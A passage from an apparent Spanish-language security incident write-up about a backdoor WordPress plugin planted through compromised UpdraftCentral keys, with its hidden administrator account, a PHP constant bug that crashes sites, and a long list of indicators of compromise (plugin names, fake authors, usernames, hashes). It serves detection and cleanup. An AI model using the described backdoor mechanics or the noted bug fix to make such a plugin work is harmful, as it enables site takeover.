sigue en WordPress incluso despu\u00e9s de eliminar el plugin, y el atacante puede entrar con ella por el formulario normal si esa cuenta no tiene activada la autenticaci\u00f3n en dos pasos.<\/p>\n<h3 id=\"el-error-que-nos-salv\u00f3\">El error que nos salv\u00f3<\/h3>\n<p>Las constantes se definen con <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">define()<\/code> como constantes globales (<code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">LOADSTACK35C_FIELD<\/code>), pero el c\u00f3digo las lee como constantes de clase (<code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">self::FIELD<\/code>). La clase no tiene constantes. Por eso PHP 8 lanza <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">Error: Undefined constant LoadStack35c::FIELD<\/code> la primera vez que eval\u00faa <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">self::FIELD<\/code>. Ocurre antes de comprobar el token, es decir, en cada petici\u00f3n: visitas normales, administrador, inicio de sesi\u00f3n, API REST, cron y WP-CLI. La web cae con error 500 y solo sirve p\u00e1ginas desde la cach\u00e9.<\/p>\n<p>La petici\u00f3n de instalaci\u00f3n, en cambio, termin\u00f3 bien. UpdraftCentral procesa las \u00f3rdenes en la acci\u00f3n <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">wp_loaded<\/code>, que llega despu\u00e9s de <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">init<\/code>, as\u00ed que en esa petici\u00f3n el c\u00f3digo defectuoso no se ejecut\u00f3. El atacante recibi\u00f3 una confirmaci\u00f3n de \u00e9xito y no supo nada del error por la respuesta. Solo fallaron las peticiones siguientes.<\/p>\n<p>Al atacante le basta con corregir unos pocos caracteres para que la pr\u00f3xima oleada funcione. <strong>Si encuentra un plugin \u00abroto\u00bb parecido, no lo arregle.<\/strong> Arreglarlo activar\u00eda la puerta trasera. Elim\u00ednelo.<\/p>\n<h3 id=\"m\u00e1s-detalles\">M\u00e1s detalles<\/h3>\n<ul>\n<li>El plugin se hace pasar por un complemento corriente: tiene una cabecera completa, licencia GPL, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">Text Domain<\/code>, la descripci\u00f3n \u00abSmall maintenance toolkit: keeps option storage tidy.\u00bb y un editor inventado (\u00abPixelBinder\u00bb, \u00abHarbor Stack Labs\u00bb).<\/li>\n<li>Los archivos <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">assets\/public.css<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">assets\/public.js<\/code> y <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">languages\/readme.txt<\/code> solo contienen un comentario. El plugin no los usa; est\u00e1n ah\u00ed para que la carpeta parezca un plugin real.<\/li>\n<li>Al desinstalarlo desde el administrador, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">uninstall.php<\/code> borra las opciones <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">&lt;slug&gt;_sync_token<\/code> y <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">&lt;slug&gt;_setup_stamp<\/code>, es decir, sus propios rastros. El c\u00f3digo nunca crea la segunda opci\u00f3n; es un resto de la plantilla.<\/li>\n<li>Al activarse guarda el token en la opci\u00f3n <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">&lt;slug&gt;_sync_token<\/code> sin carga autom\u00e1tica. El c\u00f3digo nunca la lee.<\/li>\n<li>Ambas muestras salen del mismo generador. Si sustituimos nombres, tokens, usuarios y versiones por marcadores, todos los archivos son id\u00e9nticos byte a byte. El nombre sigue el patr\u00f3n <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">palabra-palabra-3 caracteres hexadecimales<\/code>, el par\u00e1metro es <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">_<\/code> m\u00e1s 6 caracteres hexadecimales y el usuario <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">palabra-palabra<\/code> m\u00e1s dos d\u00edgitos. El token tiene 32 caracteres y la contrase\u00f1a 22 (letras, d\u00edgitos y guion bajo).<\/li>\n<\/ul>\n<h2 id=\"indicadores-de-compromiso\">Indicadores de compromiso<\/h2>\n<table>\n<thead>\n<tr class=\"header\">\n<th><\/th>\n<th>Web A<\/th>\n<th>Web B<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr class=\"odd\">\n<td>Carpeta del plugin<\/td>\n<td><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">load-stack-35c<\/code><\/td>\n<td><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">text-gantry-eb0<\/code><\/td>\n<\/tr>\n<tr class=\"even\">\n<td>Nombre \/ autor \/ versi\u00f3n<\/td>\n<td>Load Stack 35C \/ PixelBinder \/ 1.2.6<\/td>\n<td>Text Gantry Eb0 \/ Harbor Stack Labs \/ 3.9.5<\/td>\n<\/tr>\n<tr class=\"odd\">\n<td>Par\u00e1metro de la URL<\/td>\n<td><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">_9f5696<\/code><\/td>\n<td><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">_3e9caa<\/code><\/td>\n<\/tr>\n<tr class=\"even\">\n<td>Usuario<\/td>\n<td><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">data-ops43<\/code><\/td>\n<td><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">media-staff96<\/code><\/td>\n<\/tr>\n<tr class=\"odd\">\n<td>Opci\u00f3n en la base de datos<\/td>\n<td><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">load_stack_35c_sync_token<\/code><\/td>\n<td><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">text_gantry_eb0_sync_token<\/code><\/td>\n<\/tr>\n<tr class=\"even\">\n<td>SHA-256 del archivo principal<\/td>\n<td><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">3c3355f7692d4951e5655683783795579467c9bf1ae2152e13b8c80e9021209f<\/code><\/td>\n<td><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">bb40f9a87cea678aa50e5286dd91c0903d6a7fc1b12391472187a0919b4d0801<\/code><\/td>\n<\/tr>\n<tr class=\"odd\">\n<td>SHA-256 de <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">uninstall.php<\/code><\/td>\n<td><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">4186ae2aa0472a4e7929b21bb87f9b61866cb3790f69f4b6c9813e196955d5f0<\/code><\/td>\n<td><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">4943fc21efa4b81516130f92bf4efe3b832e1bb69e499d2e42587233a0a005e9<\/code><\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>Otras v\u00edctimas nos enviaron m\u00e1s muestras de la primera variante, y Patchstack cita m\u00e1s nombres:<\/p>\n<ul>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">hero-frame-2c5<\/code>, autor \u00abCopperForge WP\u00bb, usuario con correo <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">render-build21@example.org<\/code>, SHA-256 del archivo principal <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">a9b625496a8ec82862ded01900f720c28f111e624176df7e25be7331f22e4cc9<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">uninstall.php<\/code> <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">325722876a5f8e184b88cf415900ab52c9103553bc4be502399a2272550f2111<\/code><\/li>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">card-binder-104<\/code>, versi\u00f3n 2.6.7, usuario <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">render.desk87<\/code><\/li>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">style-bridge-8f5<\/code>, \u00abStyle Bridge 8F5\u00bb 2.6.6, autor \u00abStoneDock Tools\u00bb, par\u00e1metro <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">_0f907e<\/code>, usuario <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">data.build20<\/code>, SHA-256 del archivo principal <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">0290c2baa363eac72ef2b6891bef1c9c8b4774d5b95d14f4871bde6094fdacde<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">uninstall.php<\/code> <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">99a7fb44d1502938a40b3f663f4e5771b5cf741bcbaec58d7dda0b5066b5a0a5<\/code><\/li>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">media-kit-183<\/code>, \u00abMedia Kit 183\u00bb 3.7.8, autor \u00abAshBridge Digital\u00bb, par\u00e1metro <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">_98a0a7<\/code>, usuario <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">web_maint88<\/code>, SHA-256 del archivo principal <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">03301b6fc563cafe0408a7eec0fee0349188ff95ce3e5e458272ff6fb23c6a63<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">uninstall.php<\/code> <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">8cdd7ab6d232976a6763df93324be7182a24427e0582fec1dd3c85fc120b8190<\/code><\/li>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">query-shelf<\/code>, \u00abQuery Shelf\u00bb 2.6.1, el mismo error <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">QueryShelf::FIELD<\/code>, nombre sin los tres caracteres hexadecimales al final<\/li>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">post-dock-776<\/code>, \u00abPost Dock 776\u00bb 1.7.8, autor \u00abCommonGantry\u00bb, par\u00e1metro <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">_5fa3f1<\/code>, usuario <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">site_build55<\/code>, SHA-256 del archivo principal <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">8ff28a902ce6ae9897260ee8a3c90150ab4301946b4ad8f7247c6b8c9c99f321<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">uninstall.php<\/code> <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">6a52fed5e4044978b68dc70bbabef127369c59ec63661e7478bd5c4ac781cf30<\/code><\/li>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">nav-hub<\/code>, \u00abNav Hub\u00bb 1.0.5, autor \u00abPixelBinder\u00bb (el mismo que en <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">load-stack-35c<\/code>), error <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">NavHub::FIELD<\/code>, nombre sin caracteres hexadecimales al final<\/li>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">speed-desk<\/code>, \u00abSpeed Desk\u00bb 3.7.1, autor \u00abHarbor Stack Labs\u00bb, par\u00e1metro <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">_685679<\/code>, usuario <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">render.maint85<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">80ba1b6261e573a632451aa77485f78739fbdd13ffccaeafbbe91ee2852f8483<\/code><\/li>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">speed-kit-300<\/code>, \u00abSpeed Kit 300\u00bb 3.8.4, autor \u00abNordic Toolworks\u00bb, par\u00e1metro <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">_c4bda9<\/code>, usuario <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">data-team4<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">0d9941f42e3c191b68f80ca0f4f1702c99ad8c6633508a6e01b82973d96a71a3<\/code><\/li>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">link-latch<\/code>, \u00abLink Latch\u00bb 3.0.2, autor \u00abCommonGantry\u00bb, par\u00e1metro <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">_b10fa0<\/code>, usuario <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">media.crew54<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">d3281d662c017882d29a7d47412c629a332aba09ac4a04489a28cbdccd7f90a8<\/code><\/li>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">script-shelf<\/code>, \u00abScript Shelf\u00bb 1.9.2, autor \u00abCopperForge WP\u00bb, par\u00e1metro <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">_697e00<\/code>, usuario <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">content-crew90<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">7376a09d1281f27fa58c72811e4c28075ae16a353315d249e4840841cf0225f2<\/code><\/li>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">feed-case<\/code>, \u00abFeed Case\u00bb 1.5.1, autor \u00abLoftStack\u00bb, par\u00e1metro <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">_78d327<\/code>, usuario <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">web_ops15<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">02f5338311a5b5ab443dae447fddbb8885c86f4c16cfa9bd984582c2777b5429<\/code><\/li>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">cache-jack-c7a<\/code>, \u00abCache Jack C7A\u00bb 2.7.3, autor \u00abPixelBinder\u00bb, par\u00e1metro <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">_48c603<\/code>, usuario <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">render.desk2<\/code>, SHA-256 del archivo principal <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">425bb1e680d57a92327c99090df1e3b69932c4ec3d9c22f105d89b101f412d72<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">uninstall.php<\/code> <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">335dc74431648b713500db50d2beafda19342555ba19e37438df035f802c6017<\/code><\/li>\n<li>Los nombres de los autores falsos se repiten entre variantes y webs, por ejemplo \u00abPixelBinder\u00bb, \u00abHarbor Stack Labs\u00bb, \u00abCommonGantry\u00bb, \u00abCopperForge WP\u00bb, \u00abMetaLayer\u00bb o \u00abWPBridge\u00bb. Un plugin de uno de estos autores que usted no haya instalado es casi con certeza una puerta trasera.<\/li>\n<li>M\u00e1s nombres publicados por <a href=\"https:\/\/www.wordfence.com\/blog\/2026\/10\/updraftcentral-connection-key-compromise\/\">Wordfence<\/a>: <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">speed-press-23b<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">hero-bridge-6c9<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">site-health-6a20<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">db-works-7dba<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">cache-frame<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">site-engine<\/code>; usuarios <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">site_editor784<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">site.crew51<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu 